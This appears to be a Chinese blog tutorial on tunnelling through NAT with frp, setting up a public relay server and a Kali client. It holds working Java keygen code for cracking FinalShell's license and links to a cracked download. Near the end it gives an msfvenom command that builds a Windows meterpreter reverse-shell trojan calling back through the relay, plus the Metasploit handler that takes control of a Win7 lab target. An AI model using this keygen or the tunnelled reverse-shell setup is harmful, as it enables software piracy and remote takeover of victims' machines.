前言

内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机

环境需求

一台公网服务器(linux操作系统)

一台内网主机服务器(linux操作系统) //我用的kali

Finalshell程序

win7靶机

环境搭建

Finalshell下载及破解

Finalshell下载安装,这个程序直接解压就可以运行exe程序,可以自己去下载也可以使用以下链接下载

Finalshell下载链接: https://pan.baidu.com/s/1US820WL3Y3A22yFQrctgKg?pwd=tmoz

其中需要破解的可以参考这位博主:https://blog.csdn.net/qq_50839138/article/details/126160766

破解步骤为: 点击界面左下角的 激活/升级 -> 点击离线激活(点击之前要输入你想使用的用户和密码,随便写就好) -> 复制机器码 ->使用以下java代码然后将机器码复制到程序中执行,选择你要的激活码,复制到框框里激活就可以成功

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner; public class Finalshell { public static void main(String[] args) throws NoSuchAlgorithmException {
Scanner scanner = new Scanner(System.in);
System.out.println("FinalShell-Keygen v1.0 - Developed by UltraPanda\n* Only for educational purpose *\n请输入离线激活所提供的机器码: ");
String hardwareId = scanner.nextLine();
System.out.printf("高级版激活码: %s\n专业版激活码: %s%n", transform('\uef79' + hardwareId + 8552), transform(2356 + hardwareId + 13593));
} public static String transform(String str) throws NoSuchAlgorithmException {
return hashMD5(str).substring(8, 24);
} public static String hashMD5(String str) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("MD5");
byte[] hashed = digest.digest(str.getBytes());
StringBuilder sb = new StringBuilder();
byte[] var4 = hashed;
int var5 = hashed.length; for(int var6 = 0; var6 < var5; ++var6) {
byte b = var4[var6];
int len = b & 255;
if (len < 16) {
sb.append("0");
} sb.append(Integer.toHexString(len));
} return sb.toString();
}
}

激活成功后用22端口分别去连接你的公网服务器和kali

公网服务器搭建frp

先使用arch查看自己的系统是64还是32位的

然后使用命令

wget https://github.com/fatedier/frp/releases/download/v0.46.0/frp_0.46.1_linux_amd64.tar.gz  //下载

tar -zxvf  frp_0.46.1_linux_amd64.tar.gz //解压

cd frp_0.46.1_linux_amd64   //进入文件夹

vi frps.ini 修改配置文件

[common]
#frp监听端口,默认是7000,可改
bind_addr = 0.0.0.0
bind_port = 7080 #授权码,建议改成复杂的
token = 520520 #frp管理后台端口,根据自己需要去改即可
dashboard_port = 7878 # frp管理后台用户名和面,改成自己的
dashboard_user = admin
dashboard_pwd = admin

设置和启动frp服务器

sudo mkdir -p /etc/frp  //创建etc/frp文件夹
sudo cp frps.ini /etc/frp //将frps复制到/etc/frp文件夹下
sudo cp frps /usr/bin //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frps.service //配置在下边第二张图
sudo cp /etc/systemd/system/frps.service /usr/lib/systemd/system/ //将启动服务添加到system系统中
sudo systemctl enable frps //运行frps
sudo systemctl start frps //启动frps 没有错误则配置和启动都成功

/etc/systemd/system/frps.service配置

[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target [Service]
Type = simple ExecStart = /root/frp_0.46.1_linux_amd64/frps -c /root/frp_0.46.1_linux_amd64/frps.ini [Install]
WantedBy = multi-user.target

防火墙开放端口,运行前要先开启防火墙(service firewalld start)
sudo firewall-cmd --permanent --add-port=7080/tcp //这里对应frps.ini中的 bind_port = 7080
sudo firewall-cmd --permanent --add-port=7878/tcp //这里对应frps.ini中的 dashboard_port = 7878
sudo firewall-cmd --permanent --add-port=6070/tcp //这里对应客户端的6070
sudo firewall-cmd --reload //加载配置
每个配置后都出现success则配置成功
我这里是7080的连接端口和7878的后台端口还有客户端转发的端口其他可以不看 sudo firewall-cmd --list-ports //查看开放的端口

紧接着,使用 ./frps -c ./frps.ini ,看到以下界面说明正确了,如果有问题则上面的配置重新审查一下

然后会出现无法访问或者访问超时,是因为服务器防火墙没有添加放行7080和7878端口,去服务器添加规则即可(因为我是用腾讯云的所以直接去他服务器防火墙改,其他种类的防火墙根据自己的防火墙去配置放行就好)

配置好了,去访问http://你的服务器ip:7878/后台管理,会出现弹框输入你服务器配置的账号密码即可查看到一下界面

服务器配置到这就算成功了,接下来配置客户端的

内网客户端服务器搭建frp

在内网开启一台机子,我这里用kali,然后将frp上传到kali中,解压后进入文件夹

vim frpc.ini //进入frpc.ini配置客户端

[common]
server_addr = 你的服务器ip
#与服务器的frps.ini的bind_port相同
server_port = 7080
#与服务器端的frps.ini的token相同
token = 520520 #配置ssh服务
[ssh]
type = tcp
local_ip = 127.0.0.1
#用于本地接收数据的端口,可改
local_port = 4545
#用于转发的端口,默认6000,可改
remote_port = 6070

sudo mkdir -p /etc/frp  //创建etc/frp文件夹
sudo cp frpc.ini /etc/frp //将frps复制到/etc/frp文件夹下
sudo cp frpc /usr/bin //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frpc.service //配置在下边第二张图
sudo cp /etc/systemd/system/frpc.service /usr/lib/systemd/system/ //将启动服务添加到system系统中
sudo systemctl enable frpc //运行frps
sudo systemctl start frpc //启动frps 没有错误则配置和启动都成功

/etc/systemd/system/frpc.service配置

[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target [Service]
Type = simple ExecStart = /root/frp_0.46.1_linux_amd64/frpc -c /frp_0.46.1_linux_amd64/frpc.ini [Install]
WantedBy = multi-user.target

使用 ./frpc -c ./frpc.ini 连接服务器,有以下界面说明连接成功

测试内网穿透是否成功

连接成功后,我们kali的msfvenom生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=服务器ip  LPORT=6070 -f exe > muma60701.exe

6070对应客户端的frpc.ini的转发端口

开启msf监听,

msfconcole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 4545 //这里设置接收数据的端口对应frpc.ini的4545端口
set lhost 127.0.0.1
run 然后将木马放到虚拟机win7运行之后会得到后台

总结

我们目前搭建在公网的服务器frps是作为中转的路由,内网客户端 -> 公网服务器路由 -> 其他内网主机,内网客户端发送请求(也就是我们生成的木马),然后发送给其他内网主机,内网主机连接成功反弹回请求到公网服务器再利用6070转发到我们内网4545端口上,从而达到内网穿透成功

最新文章

  1. 解决 connect to host github.com port 22 operation timed out
  2. HTML 学习笔记 CSS样式(字体)
  3. 大熊君大话NodeJS之开篇------Why NodeJS(将Javascript进行到底)
  4. js继承关系
  5. hdoj 3549 Flow Problem【网络流最大流入门】
  6. 【我所認知的BIOS】—&amp;gt;ADU.exe
  7. php开发中的一些常用统计的日期
  8. Suse发生了错误Access denied for user &amp;#39;&amp;#39;@&amp;#39;localhost&amp;#39; to&amp;amp;
  9. List&lt;T&gt;集合导出csv方法参考,通过增加自定义的属性控制输出的字段。
  10. PTA分享码-Java
  11. PUTTY无法远程连接服务器故障解决[转]
  12. centos7下root密码丢失解决方案
  13. IOC注入框架——Unity中Web.Config文件的配置与调用
  14. wdk1703+vs2015编译的诡异问题
  15. Python常用模块——json &amp; pickle
  16. c++中几种常见的类型转换。int与string的转换,float与string的转换以及string和long类型之间的相互转换。to_string函数的实现和应用。
  17. opencv-3.3安装记录-ubuntu 14.04
  18. 广告狂人第一至七季/全集Mad Men迅雷下载
  19. 搭建Linux-java web运行环境之二:安装mysql
  20. 利用jquery.backstretch插件,背景切换

热门文章

  1. 那齐博x3又什么什么?
  2. golang中的errgroup
  3. Python学习三天计划-3
  4. 你给文字描述,AI艺术作画,精美无比!附源码,快来试试!
  5. 前后端分离项目(十一):实现&quot;删&quot;功能(前后端)
  6. Spring三级缓存解决循环依赖
  7. Oracle用户创建及删除
  8. 使用 Go HTTP 框架 Hertz 进行 JWT 认证
  9. 【devexpress】Gridcontorl分组时自定义底部页脚求和功能
  10. 5 STL-string